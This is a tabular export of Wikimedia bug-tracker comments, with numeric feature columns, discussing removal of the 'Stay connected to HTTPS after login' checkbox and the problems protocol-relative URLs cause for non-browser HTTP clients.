250059,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 76823 abandoned by Demon:
Remove ""stick HTTPS"" option from login page

https://gerrit.wikimedia.org/r/76823",,,1376936875,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,2,False,,,-2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,17.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.333333333333333,0.9444444444444444,"Change 76823 abandoned by Demon:
Remove ""stick HTTPS"" option from login page

GERRIT_URL"
250055,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","(In reply to comment #9)
> Sure, maybe the MediaWiki software should have a replacement in the
> preferences, but for Wikimedia sites it should be hidden.

Agreed on this as well. With my patch, this would be done by adding the 'user' group to the list of required HTTPS groups. Right now it only disables the preference, but it would be trivial to add a special case to remove it entirely if all users have it disabled.",,,1375228522,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,1.0,0.0,1.0,1.0,0.0,3.0,1.0,0.0,0.0,1.0,3.0,3.0,0.0,1.0,0.0,1.0,0.0,8.0,14.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,6.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,14.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,10.0,1.0,1.0,10.0,0.0,0.0,0.0,1.0,7.0,0.0,1.0,0.0,7.0,14.0,3.0,0.0,3.0,0.0,7.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.492957746478873,0.7605633802816901,"(In reply to comment #9)
QUOTE
QUOTE

Agreed on this as well. With my patch, this would be done by adding the 'user' group to the list of required HTTPS groups. Right now it only disables the preference, but it would be trivial to add a special case to remove it entirely if all users have it disabled."
250052,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Sure, maybe the MediaWiki software should have a replacement in the preferences, but for Wikimedia sites it should be hidden.",,,1375228267,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,4.0,13.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,4.0,9.0,9.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.608695652173913,0.8695652173913043,"Sure, maybe the MediaWiki software should have a replacement in the preferences, but for Wikimedia sites it should be hidden."
250050,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""",Just to be clear: I think the checkbox should be removed (and I don't think there's anybody who thinks it should stay); I just think it should have a replacement because the functionality is still important.,,,1375228151,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,0.0,2.0,0.0,2.0,2.0,5.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,7.0,0.0,9.0,5.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,9.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,7.0,7.0,9.0,2.0,2.0,7.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,5.0,0.0,0.0,0.0,0.0,12.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,0.7906976744186046,Just to be clear: I think the checkbox should be removed (and I don't think there's anybody who thinks it should stay); I just think it should have a replacement because the functionality is still important.
250049,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""",The checkbox should definitely be removed from the login screen. It's not clear to me why it was ever added there in the first place. We did this once before with some other (non-SSL-related) checkbox on the login screen. I thought we'd learned our lesson.,,,1375225606,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,True,,,-5,True,2.0,0.0,0.0,4.0,2.0,7.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,9.0,0.0,12.0,9.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,7.0,4.0,9.0,2.0,0.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,12.0,9.0,2.0,0.0,0.0,0.0,12.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,3.719298245614035,0.8421052631578947,The checkbox should definitely be removed from the login screen. It's not clear to me why it was ever added there in the first place. We did this once before with some other (non-SSL-related) checkbox on the login screen. I thought we'd learned our lesson.
250047,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Change 47089 had a related patch set uploaded by Parent5446:
Change secure login to use a user preference; add secure groups option.

https://gerrit.wikimedia.org/r/47089",,,1375214439,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,14.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.8928571428571429,"Change 47089 had a related patch set uploaded by Parent5446:
Change secure login to use a user preference; add secure groups option.

GERRIT_URL"
250045,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","**swalling** wrote:

(In reply to comment #4)
> 
> Now with all of that said, I agree I'd much rather this be a user preference
> than have it cluttering the login page. Because then at least the user can
> still use HTTP if they really want to.
> 
> And conveniently enough:
> https://gerrit.wikimedia.org/r/47089

Thanks for the link. I agree this is the best interim solution, while we argue about whether it should be a preference at all. ;)",,,1375214138,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,2.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,12.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,8.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,5.0,3.0,17.0,3.0,0.0,7.0,0.0,2.0,0.0,2.0,3.0,0.0,2.0,0.0,5.0,12.0,10.0,0.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,3.2033898305084745,0.6949152542372882,"**swalling** wrote:

(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Thanks for the link. I agree this is the best interim solution, while we argue about whether it should be a preference at all. ;)"
250043,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","The reason it shouldn't be removed is because it's completely outside the scope of the feature. $wgSecureLogin is intended as a means of forcing private data, specifically passwords, over a secure transport layer connection. It is not intended as a means of forcing specific users to use TLS. Furthermore, I'd like to point out that no reason has been presented for actually removing the option.

(In reply to comment #3)
> Unless login truly does not work for some users if forced to use HTTPS, I
> think
> there is no reason to allow insecure login sessions as an option. It's a
> fundamental account security issue. If you want to edit via an insecure
> connection, you can continue to do so anonymously.

This is by no means a ""fundamental account security issue"". Using Wikipedia over HTTP does not in-and-of-itself pose a major security concern (unless you count session hijacking, which could be avoided if the session key was renegotiated more often). Sending passwords over HTTP, on the other hand, does, which is why this feature exists.

(In reply to comment #0)
> and if there's going to be an option to turn it off, it should likely be
> in user preferences, not on the login page every time you view it.

Now with all of that said, I agree I'd much rather this be a user preference than have it cluttering the login page. Because then at least the user can still use HTTP if they really want to.

And conveniently enough:
https://gerrit.wikimedia.org/r/47089",,,1375213999,,PHID-USER-ea6gwat27oulytc5tvsy,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,1.0,0.0,0.3333333333333333,2.0,1.0,2.6666666666666665,1.6666666666666667,0.6666666666666666,0.0,1.0,2.0,1.0,0.0,0.0,0.0,1.3333333333333333,0.3333333333333333,7.333333333333333,11.666666666666666,0.0,2.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,0.0,5.666666666666667,1.6666666666666667,1.6666666666666667,2.3333333333333335,0.3333333333333333,0.0,0.6666666666666666,1.0,1.0,0.6666666666666666,0.3333333333333333,0.3333333333333333,2.0,0.0,0.0,0.0,0.0,0.0,11.333333333333334,1.3333333333333333,0.6666666666666666,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,1.0,0.0,0.6666666666666666,0.0,0.0,0.0,5.0,3.6666666666666665,10.0,2.6666666666666665,0.6666666666666666,8.666666666666666,0.0,0.0,0.0,0.6666666666666666,3.3333333333333335,0.0,0.6666666666666666,0.0,4.0,11.666666666666666,3.3333333333333335,0.0,0.6666666666666666,0.0,4.0,0.0,1.3333333333333333,2.0,0.3333333333333333,2.0,0.3333333333333333,0.3333333333333333,0.0,3.885509227614491,0.7610503531556163,"The reason it shouldn't be removed is because it's completely outside the scope of the feature. $wgSecureLogin is intended as a means of forcing private data, specifically passwords, over a secure transport layer connection. It is not intended as a means of forcing specific users to use TLS. Furthermore, I'd like to point out that no reason has been presented for actually removing the option.

(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This is by no means a ""fundamental account security issue"". Using Wikipedia over HTTP does not in-and-of-itself pose a major security concern (unless you count session hijacking, which could be avoided if the session key was renegotiated more often). Sending passwords over HTTP, on the other hand, does, which is why this feature exists.

(In reply to comment #0)
QUOTE
QUOTE

Now with all of that said, I agree I'd much rather this be a user preference than have it cluttering the login page. Because then at least the user can still use HTTP if they really want to.

And conveniently enough:
GERRIT_URL"
250040,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","**swalling** wrote:

(In reply to comment #2)
> The functionality should not be removed, but I'll let you guys decide how to
> create the best experience.
> 
> Some users are very touchy about being forced to use https, so we need to
> maintain a way to (insecurely) use the site after they login.

Why are they touchy?

Unless login truly does not work for some users if forced to use HTTPS, I think there is no reason to allow insecure login sessions as an option. It's a fundamental account security issue. If you want to edit via an insecure connection, you can continue to do so anonymously.",,,1375212541,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,1.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,1.0,1.0,0.0,6.0,13.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,7.0,2.0,1.0,3.0,2.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,3.0,2.0,13.0,4.0,0.0,6.0,0.0,0.0,0.0,1.0,8.0,0.0,1.0,0.0,6.0,13.0,4.0,1.0,0.0,0.0,6.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.561797752808989,0.7303370786516854,"**swalling** wrote:

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Why are they touchy?

Unless login truly does not work for some users if forced to use HTTPS, I think there is no reason to allow insecure login sessions as an option. It's a fundamental account security issue. If you want to edit via an insecure connection, you can continue to do so anonymously."
250034,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","The functionality should not be removed, but I'll let you guys decide how to create the best experience.

Some users are very touchy about being forced to use https, so we need to maintain a way to (insecurely) use the site after they login.",,,1375211923,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,True,,,-5,True,2.0,0.0,2.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,10.0,12.0,0.0,6.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,8.0,6.0,6.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,8.0,12.0,0.0,0.0,0.0,0.0,8.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,3.826923076923077,0.8653846153846154,"The functionality should not be removed, but I'll let you guys decide how to create the best experience.

Some users are very touchy about being forced to use https, so we need to maintain a way to (insecurely) use the site after they login."
250026,"Remove checkbox on userlogin to ""Stay connected to HTTPS after login""","Agreed. It should either be a sane default or moved to preferences. It should definitely not be on the log-in page, especially not with the arcane message ""Stay connected to HTTPS after login"".",,,1375209255,,PHID-USER-a5pveeqqwaddgfjiv2fq,False,,,PHID-TASK-ubxour7ark7qgxfdqgos,task_subcomment,,True,c2,1,False,,,-5,True,0.0,0.0,0.0,0.0,5.0,7.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,5.0,12.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,5.0,15.0,2.0,0.0,5.0,0.0,5.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.926829268292683,0.7804878048780488,"Agreed. It should either be a sane default or moved to preferences. It should definitely not be on the log-in page, especially not with the arcane message ""Stay connected to HTTPS after login""."
54253,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Protocol-relative URLs might be various kinds of awesome, and they work with every major browser. The problem with them is, they break many things that are not browsers. It's easy to write an app that fetches some HTML with HTTP, but less easy to correctly interpret that HTML. Using obscure features like protocol-relative URLs causes the less carefully-written HTTP clients to break.

Access logs demonstrate that there are many broken clients: 
http://paste.tstarling.com/p/HonYcW.html

Note that the browser-like UA strings might not be fake -- Flash and Java apps running under the browser send the UA string of their host. Of the UA strings without ""Mozilla"" in them, we have:

* Three versions of perl, two Java libraries
* Microsoft BITS (a background download helper, probably used by an offline reader app)
* KongshareVpn (website defunct)
* Instapaper (an offline downloader/reader for Android)
* Googlebot-Image (IP confirmed to be Google)
* A couple of phone models (Dorado, Symbian)

The length of this list is limited by the sample size, not by the actual number of broken scripts. It's a long, long tail.

This is just a gripe bug, I don't have any concrete plan for replacing protocol-relative URLs in our infrastructure. Krinkle asked me about it at I4155c740 , so I thought I may as well document the problem.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=44647 T46647
https://bugzilla.wikimedia.org/show_bug.cgi?id=20342 T22342",Low,25.0,1375142400,,PHID-USER-k6tmz5ylx4rzfl3bitse,False,,False,PHID-TASK-gid6pdkw6e55dasv7yx5,task_description,open,True,c2,1,False,False,,-5,True,1.25,0.0,0.0,0.25,1.0,6.75,0.75,0.0,0.0,0.0,1.0,0.25,0.0,0.0,0.25,1.75,0.0,4.0,7.25,0.0,1.0,0.0,0.0,0.0,1.0,0.25,0.0,0.0,0.75,0.0,0.25,4.25,1.25,0.75,0.75,0.0,0.0,0.0,0.25,0.25,0.0,1.25,0.0,1.0,0.25,0.25,0.0,0.5,0.5,14.0,0.25,0.5,0.0,0.25,0.0,0.0,0.0,0.0,0.25,0.0,0.25,1.0,0.25,0.25,0.0,0.5,0.0,4.5,2.0,13.75,0.5,0.75,6.0,0.0,0.0,0.0,0.0,2.5,0.0,0.75,0.0,4.0,7.25,6.25,0.0,0.5,0.0,4.0,0.0,0.5,1.75,0.75,0.75,0.5,0.0,0.0,3.8209706959706957,0.7256077256077256,"Protocol-relative URLs might be various kinds of awesome, and they work with every major browser. The problem with them is, they break many things that are not browsers. It's easy to write an app that fetches some HTML with HTTP, but less easy to correctly interpret that HTML. Using obscure features like protocol-relative URLs causes the less carefully-written HTTP clients to break.

Access logs demonstrate that there are many broken clients: 
URL

Note that the browser-like UA strings might not be fake -- Flash and Java apps running under the browser send the UA string of their host. Of the UA strings without ""Mozilla"" in them, we have:

* Three versions of perl, two Java libraries
* Microsoft BITS (a background download helper, probably used by an offline reader app)
* KongshareVpn (website defunct)
* Instapaper (an offline downloader/reader for Android)
* Googlebot-Image (IP confirmed to be Google)
* A couple of phone models (Dorado, Symbian)

The length of this list is limited by the sample size, not by the actual number of broken scripts. It's a long, long tail.

This is just a gripe bug, I don't have any concrete plan for replacing protocol-relative URLs in our infrastructure. Krinkle asked me about it at I4155c740 , so I thought I may as well document the problem.

--------------------------
**Version**: 1.22.0
**Severity**: normal
**See Also**:
URL T46647
URL T22342"
1500625,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,">>! In T227391#6123061, @Krinkle wrote:
>>>! In T227391#6105593, @Krinkle wrote:
>> […]
>> 
>> | {F31811490} | {F31811489}
> 
> Note that the images are broken as well. […] The browser (both Firefox and Chrome), store styles and images (regardless of domain) in the saved directory. But, for images it is only saving the file referenced in  `<img src>`. […] The files referenced in `<img srcset>` are ignored and left as-is. […] This too is an upstream browser bug, considering that […] they already correctly do this for URLs  in `<img src>`. […] On the other hand, this is also something we could relatively easily fix on our end.",,,1589146578,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,349,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,54.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,46.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1538461538461537,0.15384615384615385,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
811126,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Change 332707 merged by Jcrespo:
Swap from protocol-relative urls to https everywhere

[[https://gerrit.wikimedia.org/r/332707]]",,,1487271189,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,False,,,181,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,14.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.136363636363637,0.9090909090909091,"Change 332707 merged by Jcrespo:
Swap from protocol-relative urls to https everywhere

[[GERRIT_URL]]"
811084,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Change 332707 had a related patch set uploaded (by Chad):
Swap from protocol-relative urls to https everywhere

[[https://gerrit.wikimedia.org/r/332707]]
",,,1487268038,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,False,,,181,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,14.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,10.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.8620689655172415,0.896551724137931,"Change 332707 had a related patch set uploaded (by Chad):
Swap from protocol-relative urls to https everywhere

[[GERRIT_URL]]
"
504986,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Well, I said ""eventually"" because I fear there will be internal corner-cases we'd break if we universally flipped the URLs to absolutes with https:// all over the output.  For instance, there's no HTTPS listener at all on the internal service endpoints like http://appservers.svc.eqiad.wmnet/ that other internal code might hit.  Eventually we'll get things fixed up to the point that, even internally in our own networks, all HTTP is HTTPS, but we're not there yet.",,,1439164680,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,101,True,3.0,0.0,0.0,0.0,1.0,5.0,1.0,1.0,0.0,1.0,1.0,3.0,0.0,0.0,2.0,8.0,0.0,12.0,15.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,3.0,0.0,4.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,16.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,2.0,11.0,4.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,1.0,0.0,0.0,8.0,15.0,3.0,0.0,2.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.9347826086956523,0.7391304347826086,"Well, I said ""eventually"" because I fear there will be internal corner-cases we'd break if we universally flipped the URLs to absolutes with https:// all over the output.  For instance, there's no HTTPS listener at all on the internal service endpoints like URL that other internal code might hit.  Eventually we'll get things fixed up to the point that, even internally in our own networks, all HTTP is HTTPS, but we're not there yet."
504879,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Switching to https:// links would probably be a net benefit at this point, based on the information we have here. Can anyone (dis)confirm?",,,1439131876,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,101,True,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,7.0,11.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,7.0,4.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.296296296296297,1.0,"Switching to https:// links would probably be a net benefit at this point, based on the information we have here. Can anyone (dis)confirm?"
504142,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"Leaving this open about MediaWiki in the general case, but obviously it's not really as much an issue for WMF now.  We could eventually just go to absolutes again and always use 'https://' too.",,,1438964029,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,101,True,2.0,0.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,2.0,0.0,28.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,12.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,10.0,5.0,0.0,2.0,0.0,5.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,3.85,0.975,"Leaving this open about MediaWiki in the general case, but obviously it's not really as much an issue for WMF now.  We could eventually just go to absolutes again and always use 'URL too."
478675,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"I wonder how the deprecation of HTTP on Wikimedia wikis affects this report. Do we now care more, as we can switch everything to https? Or less, because some clients are being broken anyway when they only support http?",,,1434876114,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-gid6pdkw6e55dasv7yx5,task_subcomment,,True,c2,3,True,,,94,True,2.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,7.0,0.0,14.0,11.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,11.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,5.0,11.0,7.0,2.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,9.0,11.0,7.0,5.0,0.0,0.0,9.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,4.090909090909091,0.9318181818181818,"I wonder how the deprecation of HTTP on Wikimedia wikis affects this report. Do we now care more, as we can switch everything to https? Or less, because some clients are being broken anyway when they only support http?"
248416,Protocol-relative URLs are poorly supported or unsupported by a number of HTTP clients,"I just found out that there is an intermittent a bug in IE with protocol relative stylesheet inclusion, that causes IE to sometimes download the url twice if it is not yet cached.

http://www.stevesouders.com/blog/2010/02/10/5a-missing-schema-double-download/
